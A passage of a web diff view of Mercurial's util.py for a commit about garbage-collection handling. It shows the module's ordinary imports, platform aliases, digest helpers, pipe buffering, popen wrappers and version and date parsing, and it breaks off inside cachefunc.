##// END OF EJS Templates
util: make nogc effective for CPython...
Jun Wu -
r33796:05264fc9 default
parent child Browse files
Show More
@@ -1,3758 +1,3761 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import os
29 import os
30 import platform as pyplatform
30 import platform as pyplatform
31 import re as remod
31 import re as remod
32 import shutil
32 import shutil
33 import signal
33 import signal
34 import socket
34 import socket
35 import stat
35 import stat
36 import string
36 import string
37 import subprocess
37 import subprocess
38 import sys
38 import sys
39 import tempfile
39 import tempfile
40 import textwrap
40 import textwrap
41 import time
41 import time
42 import traceback
42 import traceback
43 import warnings
43 import warnings
44 import zlib
44 import zlib
45
45
46 from . import (
46 from . import (
47 encoding,
47 encoding,
48 error,
48 error,
49 i18n,
49 i18n,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 )
52 )
53
53
54 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
55 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
56 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
57
57
58 b85decode = base85.b85decode
58 b85decode = base85.b85decode
59 b85encode = base85.b85encode
59 b85encode = base85.b85encode
60
60
61 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
62 empty = pycompat.empty
62 empty = pycompat.empty
63 httplib = pycompat.httplib
63 httplib = pycompat.httplib
64 httpserver = pycompat.httpserver
64 httpserver = pycompat.httpserver
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 queue = pycompat.queue
66 queue = pycompat.queue
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 stderr = pycompat.stderr
68 stderr = pycompat.stderr
69 stdin = pycompat.stdin
69 stdin = pycompat.stdin
70 stdout = pycompat.stdout
70 stdout = pycompat.stdout
71 stringio = pycompat.stringio
71 stringio = pycompat.stringio
72 urlerr = pycompat.urlerr
72 urlerr = pycompat.urlerr
73 urlreq = pycompat.urlreq
73 urlreq = pycompat.urlreq
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 # workaround for win32mbcs
76 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
78
78
79 def isatty(fp):
79 def isatty(fp):
80 try:
80 try:
81 return fp.isatty()
81 return fp.isatty()
82 except AttributeError:
82 except AttributeError:
83 return False
83 return False
84
84
85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # glibc determines buffering on first write to stdout - if we replace a TTY
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 # buffering
87 # buffering
88 if isatty(stdout):
88 if isatty(stdout):
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90
90
91 if pycompat.osname == 'nt':
91 if pycompat.osname == 'nt':
92 from . import windows as platform
92 from . import windows as platform
93 stdout = platform.winstdout(stdout)
93 stdout = platform.winstdout(stdout)
94 else:
94 else:
95 from . import posix as platform
95 from . import posix as platform
96
96
97 _ = i18n._
97 _ = i18n._
98
98
99 bindunixsocket = platform.bindunixsocket
99 bindunixsocket = platform.bindunixsocket
100 cachestat = platform.cachestat
100 cachestat = platform.cachestat
101 checkexec = platform.checkexec
101 checkexec = platform.checkexec
102 checklink = platform.checklink
102 checklink = platform.checklink
103 copymode = platform.copymode
103 copymode = platform.copymode
104 executablepath = platform.executablepath
104 executablepath = platform.executablepath
105 expandglobs = platform.expandglobs
105 expandglobs = platform.expandglobs
106 explainexit = platform.explainexit
106 explainexit = platform.explainexit
107 findexe = platform.findexe
107 findexe = platform.findexe
108 gethgcmd = platform.gethgcmd
108 gethgcmd = platform.gethgcmd
109 getuser = platform.getuser
109 getuser = platform.getuser
110 getpid = os.getpid
110 getpid = os.getpid
111 groupmembers = platform.groupmembers
111 groupmembers = platform.groupmembers
112 groupname = platform.groupname
112 groupname = platform.groupname
113 hidewindow = platform.hidewindow
113 hidewindow = platform.hidewindow
114 isexec = platform.isexec
114 isexec = platform.isexec
115 isowner = platform.isowner
115 isowner = platform.isowner
116 listdir = osutil.listdir
116 listdir = osutil.listdir
117 localpath = platform.localpath
117 localpath = platform.localpath
118 lookupreg = platform.lookupreg
118 lookupreg = platform.lookupreg
119 makedir = platform.makedir
119 makedir = platform.makedir
120 nlinks = platform.nlinks
120 nlinks = platform.nlinks
121 normpath = platform.normpath
121 normpath = platform.normpath
122 normcase = platform.normcase
122 normcase = platform.normcase
123 normcasespec = platform.normcasespec
123 normcasespec = platform.normcasespec
124 normcasefallback = platform.normcasefallback
124 normcasefallback = platform.normcasefallback
125 openhardlinks = platform.openhardlinks
125 openhardlinks = platform.openhardlinks
126 oslink = platform.oslink
126 oslink = platform.oslink
127 parsepatchoutput = platform.parsepatchoutput
127 parsepatchoutput = platform.parsepatchoutput
128 pconvert = platform.pconvert
128 pconvert = platform.pconvert
129 poll = platform.poll
129 poll = platform.poll
130 popen = platform.popen
130 popen = platform.popen
131 posixfile = platform.posixfile
131 posixfile = platform.posixfile
132 quotecommand = platform.quotecommand
132 quotecommand = platform.quotecommand
133 readpipe = platform.readpipe
133 readpipe = platform.readpipe
134 rename = platform.rename
134 rename = platform.rename
135 removedirs = platform.removedirs
135 removedirs = platform.removedirs
136 samedevice = platform.samedevice
136 samedevice = platform.samedevice
137 samefile = platform.samefile
137 samefile = platform.samefile
138 samestat = platform.samestat
138 samestat = platform.samestat
139 setbinary = platform.setbinary
139 setbinary = platform.setbinary
140 setflags = platform.setflags
140 setflags = platform.setflags
141 setsignalhandler = platform.setsignalhandler
141 setsignalhandler = platform.setsignalhandler
142 shellquote = platform.shellquote
142 shellquote = platform.shellquote
143 spawndetached = platform.spawndetached
143 spawndetached = platform.spawndetached
144 split = platform.split
144 split = platform.split
145 sshargs = platform.sshargs
145 sshargs = platform.sshargs
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 statisexec = platform.statisexec
147 statisexec = platform.statisexec
148 statislink = platform.statislink
148 statislink = platform.statislink
149 testpid = platform.testpid
149 testpid = platform.testpid
150 umask = platform.umask
150 umask = platform.umask
151 unlink = platform.unlink
151 unlink = platform.unlink
152 username = platform.username
152 username = platform.username
153
153
154 try:
154 try:
155 recvfds = osutil.recvfds
155 recvfds = osutil.recvfds
156 except AttributeError:
156 except AttributeError:
157 pass
157 pass
158 try:
158 try:
159 setprocname = osutil.setprocname
159 setprocname = osutil.setprocname
160 except AttributeError:
160 except AttributeError:
161 pass
161 pass
162
162
163 # Python compatibility
163 # Python compatibility
164
164
165 _notset = object()
165 _notset = object()
166
166
167 # disable Python's problematic floating point timestamps (issue4836)
167 # disable Python's problematic floating point timestamps (issue4836)
168 # (Python hypocritically says you shouldn't change this behavior in
168 # (Python hypocritically says you shouldn't change this behavior in
169 # libraries, and sure enough Mercurial is not a library.)
169 # libraries, and sure enough Mercurial is not a library.)
170 os.stat_float_times(False)
170 os.stat_float_times(False)
171
171
172 def safehasattr(thing, attr):
172 def safehasattr(thing, attr):
173 return getattr(thing, attr, _notset) is not _notset
173 return getattr(thing, attr, _notset) is not _notset
174
174
175 def bitsfrom(container):
175 def bitsfrom(container):
176 bits = 0
176 bits = 0
177 for bit in container:
177 for bit in container:
178 bits |= bit
178 bits |= bit
179 return bits
179 return bits
180
180
181 # python 2.6 still have deprecation warning enabled by default. We do not want
181 # python 2.6 still have deprecation warning enabled by default. We do not want
182 # to display anything to standard user so detect if we are running test and
182 # to display anything to standard user so detect if we are running test and
183 # only use python deprecation warning in this case.
183 # only use python deprecation warning in this case.
184 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
184 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
185 if _dowarn:
185 if _dowarn:
186 # explicitly unfilter our warning for python 2.7
186 # explicitly unfilter our warning for python 2.7
187 #
187 #
188 # The option of setting PYTHONWARNINGS in the test runner was investigated.
188 # The option of setting PYTHONWARNINGS in the test runner was investigated.
189 # However, module name set through PYTHONWARNINGS was exactly matched, so
189 # However, module name set through PYTHONWARNINGS was exactly matched, so
190 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
190 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
191 # makes the whole PYTHONWARNINGS thing useless for our usecase.
191 # makes the whole PYTHONWARNINGS thing useless for our usecase.
192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
192 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
193 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
194 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
194 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
195
195
196 def nouideprecwarn(msg, version, stacklevel=1):
196 def nouideprecwarn(msg, version, stacklevel=1):
197 """Issue an python native deprecation warning
197 """Issue an python native deprecation warning
198
198
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
199 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
200 """
200 """
201 if _dowarn:
201 if _dowarn:
202 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
202 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
203 " update your code.)") % version
203 " update your code.)") % version
204 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
204 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
205
205
206 DIGESTS = {
206 DIGESTS = {
207 'md5': hashlib.md5,
207 'md5': hashlib.md5,
208 'sha1': hashlib.sha1,
208 'sha1': hashlib.sha1,
209 'sha512': hashlib.sha512,
209 'sha512': hashlib.sha512,
210 }
210 }
211 # List of digest types from strongest to weakest
211 # List of digest types from strongest to weakest
212 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
212 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
213
213
214 for k in DIGESTS_BY_STRENGTH:
214 for k in DIGESTS_BY_STRENGTH:
215 assert k in DIGESTS
215 assert k in DIGESTS
216
216
217 class digester(object):
217 class digester(object):
218 """helper to compute digests.
218 """helper to compute digests.
219
219
220 This helper can be used to compute one or more digests given their name.
220 This helper can be used to compute one or more digests given their name.
221
221
222 >>> d = digester(['md5', 'sha1'])
222 >>> d = digester(['md5', 'sha1'])
223 >>> d.update('foo')
223 >>> d.update('foo')
224 >>> [k for k in sorted(d)]
224 >>> [k for k in sorted(d)]
225 ['md5', 'sha1']
225 ['md5', 'sha1']
226 >>> d['md5']
226 >>> d['md5']
227 'acbd18db4cc2f85cedef654fccc4a4d8'
227 'acbd18db4cc2f85cedef654fccc4a4d8'
228 >>> d['sha1']
228 >>> d['sha1']
229 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
229 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
230 >>> digester.preferred(['md5', 'sha1'])
230 >>> digester.preferred(['md5', 'sha1'])
231 'sha1'
231 'sha1'
232 """
232 """
233
233
234 def __init__(self, digests, s=''):
234 def __init__(self, digests, s=''):
235 self._hashes = {}
235 self._hashes = {}
236 for k in digests:
236 for k in digests:
237 if k not in DIGESTS:
237 if k not in DIGESTS:
238 raise Abort(_('unknown digest type: %s') % k)
238 raise Abort(_('unknown digest type: %s') % k)
239 self._hashes[k] = DIGESTS[k]()
239 self._hashes[k] = DIGESTS[k]()
240 if s:
240 if s:
241 self.update(s)
241 self.update(s)
242
242
243 def update(self, data):
243 def update(self, data):
244 for h in self._hashes.values():
244 for h in self._hashes.values():
245 h.update(data)
245 h.update(data)
246
246
247 def __getitem__(self, key):
247 def __getitem__(self, key):
248 if key not in DIGESTS:
248 if key not in DIGESTS:
249 raise Abort(_('unknown digest type: %s') % k)
249 raise Abort(_('unknown digest type: %s') % k)
250 return self._hashes[key].hexdigest()
250 return self._hashes[key].hexdigest()
251
251
252 def __iter__(self):
252 def __iter__(self):
253 return iter(self._hashes)
253 return iter(self._hashes)
254
254
255 @staticmethod
255 @staticmethod
256 def preferred(supported):
256 def preferred(supported):
257 """returns the strongest digest type in both supported and DIGESTS."""
257 """returns the strongest digest type in both supported and DIGESTS."""
258
258
259 for k in DIGESTS_BY_STRENGTH:
259 for k in DIGESTS_BY_STRENGTH:
260 if k in supported:
260 if k in supported:
261 return k
261 return k
262 return None
262 return None
263
263
264 class digestchecker(object):
264 class digestchecker(object):
265 """file handle wrapper that additionally checks content against a given
265 """file handle wrapper that additionally checks content against a given
266 size and digests.
266 size and digests.
267
267
268 d = digestchecker(fh, size, {'md5': '...'})
268 d = digestchecker(fh, size, {'md5': '...'})
269
269
270 When multiple digests are given, all of them are validated.
270 When multiple digests are given, all of them are validated.
271 """
271 """
272
272
273 def __init__(self, fh, size, digests):
273 def __init__(self, fh, size, digests):
274 self._fh = fh
274 self._fh = fh
275 self._size = size
275 self._size = size
276 self._got = 0
276 self._got = 0
277 self._digests = dict(digests)
277 self._digests = dict(digests)
278 self._digester = digester(self._digests.keys())
278 self._digester = digester(self._digests.keys())
279
279
280 def read(self, length=-1):
280 def read(self, length=-1):
281 content = self._fh.read(length)
281 content = self._fh.read(length)
282 self._digester.update(content)
282 self._digester.update(content)
283 self._got += len(content)
283 self._got += len(content)
284 return content
284 return content
285
285
286 def validate(self):
286 def validate(self):
287 if self._size != self._got:
287 if self._size != self._got:
288 raise Abort(_('size mismatch: expected %d, got %d') %
288 raise Abort(_('size mismatch: expected %d, got %d') %
289 (self._size, self._got))
289 (self._size, self._got))
290 for k, v in self._digests.items():
290 for k, v in self._digests.items():
291 if v != self._digester[k]:
291 if v != self._digester[k]:
292 # i18n: first parameter is a digest name
292 # i18n: first parameter is a digest name
293 raise Abort(_('%s mismatch: expected %s, got %s') %
293 raise Abort(_('%s mismatch: expected %s, got %s') %
294 (k, v, self._digester[k]))
294 (k, v, self._digester[k]))
295
295
296 try:
296 try:
297 buffer = buffer
297 buffer = buffer
298 except NameError:
298 except NameError:
299 def buffer(sliceable, offset=0, length=None):
299 def buffer(sliceable, offset=0, length=None):
300 if length is not None:
300 if length is not None:
301 return memoryview(sliceable)[offset:offset + length]
301 return memoryview(sliceable)[offset:offset + length]
302 return memoryview(sliceable)[offset:]
302 return memoryview(sliceable)[offset:]
303
303
304 closefds = pycompat.osname == 'posix'
304 closefds = pycompat.osname == 'posix'
305
305
306 _chunksize = 4096
306 _chunksize = 4096
307
307
308 class bufferedinputpipe(object):
308 class bufferedinputpipe(object):
309 """a manually buffered input pipe
309 """a manually buffered input pipe
310
310
311 Python will not let us use buffered IO and lazy reading with 'polling' at
311 Python will not let us use buffered IO and lazy reading with 'polling' at
312 the same time. We cannot probe the buffer state and select will not detect
312 the same time. We cannot probe the buffer state and select will not detect
313 that data are ready to read if they are already buffered.
313 that data are ready to read if they are already buffered.
314
314
315 This class let us work around that by implementing its own buffering
315 This class let us work around that by implementing its own buffering
316 (allowing efficient readline) while offering a way to know if the buffer is
316 (allowing efficient readline) while offering a way to know if the buffer is
317 empty from the output (allowing collaboration of the buffer with polling).
317 empty from the output (allowing collaboration of the buffer with polling).
318
318
319 This class lives in the 'util' module because it makes use of the 'os'
319 This class lives in the 'util' module because it makes use of the 'os'
320 module from the python stdlib.
320 module from the python stdlib.
321 """
321 """
322
322
323 def __init__(self, input):
323 def __init__(self, input):
324 self._input = input
324 self._input = input
325 self._buffer = []
325 self._buffer = []
326 self._eof = False
326 self._eof = False
327 self._lenbuf = 0
327 self._lenbuf = 0
328
328
329 @property
329 @property
330 def hasbuffer(self):
330 def hasbuffer(self):
331 """True is any data is currently buffered
331 """True is any data is currently buffered
332
332
333 This will be used externally a pre-step for polling IO. If there is
333 This will be used externally a pre-step for polling IO. If there is
334 already data then no polling should be set in place."""
334 already data then no polling should be set in place."""
335 return bool(self._buffer)
335 return bool(self._buffer)
336
336
337 @property
337 @property
338 def closed(self):
338 def closed(self):
339 return self._input.closed
339 return self._input.closed
340
340
341 def fileno(self):
341 def fileno(self):
342 return self._input.fileno()
342 return self._input.fileno()
343
343
344 def close(self):
344 def close(self):
345 return self._input.close()
345 return self._input.close()
346
346
347 def read(self, size):
347 def read(self, size):
348 while (not self._eof) and (self._lenbuf < size):
348 while (not self._eof) and (self._lenbuf < size):
349 self._fillbuffer()
349 self._fillbuffer()
350 return self._frombuffer(size)
350 return self._frombuffer(size)
351
351
352 def readline(self, *args, **kwargs):
352 def readline(self, *args, **kwargs):
353 if 1 < len(self._buffer):
353 if 1 < len(self._buffer):
354 # this should not happen because both read and readline end with a
354 # this should not happen because both read and readline end with a
355 # _frombuffer call that collapse it.
355 # _frombuffer call that collapse it.
356 self._buffer = [''.join(self._buffer)]
356 self._buffer = [''.join(self._buffer)]
357 self._lenbuf = len(self._buffer[0])
357 self._lenbuf = len(self._buffer[0])
358 lfi = -1
358 lfi = -1
359 if self._buffer:
359 if self._buffer:
360 lfi = self._buffer[-1].find('\n')
360 lfi = self._buffer[-1].find('\n')
361 while (not self._eof) and lfi < 0:
361 while (not self._eof) and lfi < 0:
362 self._fillbuffer()
362 self._fillbuffer()
363 if self._buffer:
363 if self._buffer:
364 lfi = self._buffer[-1].find('\n')
364 lfi = self._buffer[-1].find('\n')
365 size = lfi + 1
365 size = lfi + 1
366 if lfi < 0: # end of file
366 if lfi < 0: # end of file
367 size = self._lenbuf
367 size = self._lenbuf
368 elif 1 < len(self._buffer):
368 elif 1 < len(self._buffer):
369 # we need to take previous chunks into account
369 # we need to take previous chunks into account
370 size += self._lenbuf - len(self._buffer[-1])
370 size += self._lenbuf - len(self._buffer[-1])
371 return self._frombuffer(size)
371 return self._frombuffer(size)
372
372
373 def _frombuffer(self, size):
373 def _frombuffer(self, size):
374 """return at most 'size' data from the buffer
374 """return at most 'size' data from the buffer
375
375
376 The data are removed from the buffer."""
376 The data are removed from the buffer."""
377 if size == 0 or not self._buffer:
377 if size == 0 or not self._buffer:
378 return ''
378 return ''
379 buf = self._buffer[0]
379 buf = self._buffer[0]
380 if 1 < len(self._buffer):
380 if 1 < len(self._buffer):
381 buf = ''.join(self._buffer)
381 buf = ''.join(self._buffer)
382
382
383 data = buf[:size]
383 data = buf[:size]
384 buf = buf[len(data):]
384 buf = buf[len(data):]
385 if buf:
385 if buf:
386 self._buffer = [buf]
386 self._buffer = [buf]
387 self._lenbuf = len(buf)
387 self._lenbuf = len(buf)
388 else:
388 else:
389 self._buffer = []
389 self._buffer = []
390 self._lenbuf = 0
390 self._lenbuf = 0
391 return data
391 return data
392
392
393 def _fillbuffer(self):
393 def _fillbuffer(self):
394 """read data to the buffer"""
394 """read data to the buffer"""
395 data = os.read(self._input.fileno(), _chunksize)
395 data = os.read(self._input.fileno(), _chunksize)
396 if not data:
396 if not data:
397 self._eof = True
397 self._eof = True
398 else:
398 else:
399 self._lenbuf += len(data)
399 self._lenbuf += len(data)
400 self._buffer.append(data)
400 self._buffer.append(data)
401
401
402 def popen2(cmd, env=None, newlines=False):
402 def popen2(cmd, env=None, newlines=False):
403 # Setting bufsize to -1 lets the system decide the buffer size.
403 # Setting bufsize to -1 lets the system decide the buffer size.
404 # The default for bufsize is 0, meaning unbuffered. This leads to
404 # The default for bufsize is 0, meaning unbuffered. This leads to
405 # poor performance on Mac OS X: http://bugs.python.org/issue4194
405 # poor performance on Mac OS X: http://bugs.python.org/issue4194
406 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
406 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
407 close_fds=closefds,
407 close_fds=closefds,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
408 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
409 universal_newlines=newlines,
409 universal_newlines=newlines,
410 env=env)
410 env=env)
411 return p.stdin, p.stdout
411 return p.stdin, p.stdout
412
412
413 def popen3(cmd, env=None, newlines=False):
413 def popen3(cmd, env=None, newlines=False):
414 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
414 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
415 return stdin, stdout, stderr
415 return stdin, stdout, stderr
416
416
417 def popen4(cmd, env=None, newlines=False, bufsize=-1):
417 def popen4(cmd, env=None, newlines=False, bufsize=-1):
418 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
418 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
419 close_fds=closefds,
419 close_fds=closefds,
420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
420 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
421 stderr=subprocess.PIPE,
421 stderr=subprocess.PIPE,
422 universal_newlines=newlines,
422 universal_newlines=newlines,
423 env=env)
423 env=env)
424 return p.stdin, p.stdout, p.stderr, p
424 return p.stdin, p.stdout, p.stderr, p
425
425
426 def version():
426 def version():
427 """Return version information if available."""
427 """Return version information if available."""
428 try:
428 try:
429 from . import __version__
429 from . import __version__
430 return __version__.version
430 return __version__.version
431 except ImportError:
431 except ImportError:
432 return 'unknown'
432 return 'unknown'
433
433
434 def versiontuple(v=None, n=4):
434 def versiontuple(v=None, n=4):
435 """Parses a Mercurial version string into an N-tuple.
435 """Parses a Mercurial version string into an N-tuple.
436
436
437 The version string to be parsed is specified with the ``v`` argument.
437 The version string to be parsed is specified with the ``v`` argument.
438 If it isn't defined, the current Mercurial version string will be parsed.
438 If it isn't defined, the current Mercurial version string will be parsed.
439
439
440 ``n`` can be 2, 3, or 4. Here is how some version strings map to
440 ``n`` can be 2, 3, or 4. Here is how some version strings map to
441 returned values:
441 returned values:
442
442
443 >>> v = '3.6.1+190-df9b73d2d444'
443 >>> v = '3.6.1+190-df9b73d2d444'
444 >>> versiontuple(v, 2)
444 >>> versiontuple(v, 2)
445 (3, 6)
445 (3, 6)
446 >>> versiontuple(v, 3)
446 >>> versiontuple(v, 3)
447 (3, 6, 1)
447 (3, 6, 1)
448 >>> versiontuple(v, 4)
448 >>> versiontuple(v, 4)
449 (3, 6, 1, '190-df9b73d2d444')
449 (3, 6, 1, '190-df9b73d2d444')
450
450
451 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
451 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
452 (3, 6, 1, '190-df9b73d2d444+20151118')
452 (3, 6, 1, '190-df9b73d2d444+20151118')
453
453
454 >>> v = '3.6'
454 >>> v = '3.6'
455 >>> versiontuple(v, 2)
455 >>> versiontuple(v, 2)
456 (3, 6)
456 (3, 6)
457 >>> versiontuple(v, 3)
457 >>> versiontuple(v, 3)
458 (3, 6, None)
458 (3, 6, None)
459 >>> versiontuple(v, 4)
459 >>> versiontuple(v, 4)
460 (3, 6, None, None)
460 (3, 6, None, None)
461
461
462 >>> v = '3.9-rc'
462 >>> v = '3.9-rc'
463 >>> versiontuple(v, 2)
463 >>> versiontuple(v, 2)
464 (3, 9)
464 (3, 9)
465 >>> versiontuple(v, 3)
465 >>> versiontuple(v, 3)
466 (3, 9, None)
466 (3, 9, None)
467 >>> versiontuple(v, 4)
467 >>> versiontuple(v, 4)
468 (3, 9, None, 'rc')
468 (3, 9, None, 'rc')
469
469
470 >>> v = '3.9-rc+2-02a8fea4289b'
470 >>> v = '3.9-rc+2-02a8fea4289b'
471 >>> versiontuple(v, 2)
471 >>> versiontuple(v, 2)
472 (3, 9)
472 (3, 9)
473 >>> versiontuple(v, 3)
473 >>> versiontuple(v, 3)
474 (3, 9, None)
474 (3, 9, None)
475 >>> versiontuple(v, 4)
475 >>> versiontuple(v, 4)
476 (3, 9, None, 'rc+2-02a8fea4289b')
476 (3, 9, None, 'rc+2-02a8fea4289b')
477 """
477 """
478 if not v:
478 if not v:
479 v = version()
479 v = version()
480 parts = remod.split('[\+-]', v, 1)
480 parts = remod.split('[\+-]', v, 1)
481 if len(parts) == 1:
481 if len(parts) == 1:
482 vparts, extra = parts[0], None
482 vparts, extra = parts[0], None
483 else:
483 else:
484 vparts, extra = parts
484 vparts, extra = parts
485
485
486 vints = []
486 vints = []
487 for i in vparts.split('.'):
487 for i in vparts.split('.'):
488 try:
488 try:
489 vints.append(int(i))
489 vints.append(int(i))
490 except ValueError:
490 except ValueError:
491 break
491 break
492 # (3, 6) -> (3, 6, None)
492 # (3, 6) -> (3, 6, None)
493 while len(vints) < 3:
493 while len(vints) < 3:
494 vints.append(None)
494 vints.append(None)
495
495
496 if n == 2:
496 if n == 2:
497 return (vints[0], vints[1])
497 return (vints[0], vints[1])
498 if n == 3:
498 if n == 3:
499 return (vints[0], vints[1], vints[2])
499 return (vints[0], vints[1], vints[2])
500 if n == 4:
500 if n == 4:
501 return (vints[0], vints[1], vints[2], extra)
501 return (vints[0], vints[1], vints[2], extra)
502
502
503 # used by parsedate
503 # used by parsedate
504 defaultdateformats = (
504 defaultdateformats = (
505 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
505 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
506 '%Y-%m-%dT%H:%M', # without seconds
506 '%Y-%m-%dT%H:%M', # without seconds
507 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
507 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
508 '%Y-%m-%dT%H%M', # without seconds
508 '%Y-%m-%dT%H%M', # without seconds
509 '%Y-%m-%d %H:%M:%S', # our common legal variant
509 '%Y-%m-%d %H:%M:%S', # our common legal variant
510 '%Y-%m-%d %H:%M', # without seconds
510 '%Y-%m-%d %H:%M', # without seconds
511 '%Y-%m-%d %H%M%S', # without :
511 '%Y-%m-%d %H%M%S', # without :
512 '%Y-%m-%d %H%M', # without seconds
512 '%Y-%m-%d %H%M', # without seconds
513 '%Y-%m-%d %I:%M:%S%p',
513 '%Y-%m-%d %I:%M:%S%p',
514 '%Y-%m-%d %H:%M',
514 '%Y-%m-%d %H:%M',
515 '%Y-%m-%d %I:%M%p',
515 '%Y-%m-%d %I:%M%p',
516 '%Y-%m-%d',
516 '%Y-%m-%d',
517 '%m-%d',
517 '%m-%d',
518 '%m/%d',
518 '%m/%d',
519 '%m/%d/%y',
519 '%m/%d/%y',
520 '%m/%d/%Y',
520 '%m/%d/%Y',
521 '%a %b %d %H:%M:%S %Y',
521 '%a %b %d %H:%M:%S %Y',
522 '%a %b %d %I:%M:%S%p %Y',
522 '%a %b %d %I:%M:%S%p %Y',
523 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
523 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
524 '%b %d %H:%M:%S %Y',
524 '%b %d %H:%M:%S %Y',
525 '%b %d %I:%M:%S%p %Y',
525 '%b %d %I:%M:%S%p %Y',
526 '%b %d %H:%M:%S',
526 '%b %d %H:%M:%S',
527 '%b %d %I:%M:%S%p',
527 '%b %d %I:%M:%S%p',
528 '%b %d %H:%M',
528 '%b %d %H:%M',
529 '%b %d %I:%M%p',
529 '%b %d %I:%M%p',
530 '%b %d %Y',
530 '%b %d %Y',
531 '%b %d',
531 '%b %d',
532 '%H:%M:%S',
532 '%H:%M:%S',
533 '%I:%M:%S%p',
533 '%I:%M:%S%p',
534 '%H:%M',
534 '%H:%M',
535 '%I:%M%p',
535 '%I:%M%p',
536 )
536 )
537
537
538 extendeddateformats = defaultdateformats + (
538 extendeddateformats = defaultdateformats + (
539 "%Y",
539 "%Y",
540 "%Y-%m",
540 "%Y-%m",
541 "%b",
541 "%b",
542 "%b %Y",
542 "%b %Y",
543 )
543 )
544
544
545 def cachefunc(func):
545 def cachefunc(func):
546 '''cache the result of function calls'''
546 '''cache the result of function calls'''
547 # XXX doesn't handle keywords args
547 # XXX doesn't handle keywords args
548 if func.__code__.co_argcount == 0:
548 if func.__code__.co_argcount == 0:
549 cache = []
549 cache = []
550 def f():
550 def f():
551 if len(cache) == 0:
551 if len(cache) == 0:
552 cache.append(func())
552 cache.append(func())
553 return cache[0]
553 return cache[0]
554 return f
554 return f
555 cache = {}
555 cache = {}
556 if func.__code__.co_argcount == 1:
556 if func.__code__.co_argcount == 1:
557 # we gain a small amount of time because
557 # we gain a small amount of time because
558 # we don't need to pack/unpack the list
558 # we don't need to pack/unpack the list
559 def f(arg):
559 def f(arg):
560 if arg not in cache:
560 if arg not in cache:
561 cache[arg] = func(arg)
561 cache[arg] = func(arg)
562 return cache[arg]
562 return cache[arg]
563 else:
563 else:
